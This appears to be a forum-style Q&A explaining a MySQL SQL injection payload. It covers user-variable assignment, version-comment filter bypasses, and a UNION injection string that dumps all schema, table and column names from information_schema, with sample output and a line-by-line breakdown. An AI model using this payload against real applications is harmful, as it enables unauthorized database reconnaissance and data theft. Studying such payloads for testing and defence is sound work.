What does (@) and (@:=0x00) stand for in this payload?
@ - is the variable name 
@:=0x00 - is the assignment of zero into this variable. 
Note: := is the assignment-operator
Thanks for @Frank Cedeno and @strnk for their Q&A in the comments.
@Frank Cedeno - How /!12345sELecT/ becomes select?
@strnk - This is a MySQL-specific extension to SQL comments, the sELecT is only included in the query if the server version is greater or equal to 12345 (1.23.45), so it filters-out non-MySQL servers
More Info:
From websec sql_injection:
Retrieving Multiple Tables/Columns at once
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
Example:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
Output:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
This Stackoverflow answer explains the SQL code:
First of all i would make the query a litte bit more readable by
  reformatting it:
1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);
The assignment of @ is as follows:
- In Line 3 it gets the value 0x00 (Decimal: 0)
 
- In line 5 this value is used for the greater than (table_schema >= 0)
 
- Line 6 is a way to concat each schema, table and column name into @
 
- @ is returned in line 1 and contains a concatenated list of your structures
 
In line 6 an additional <br> (0x3C,0x62,0x72,0x3E) is added to the
  variable to make the output more readable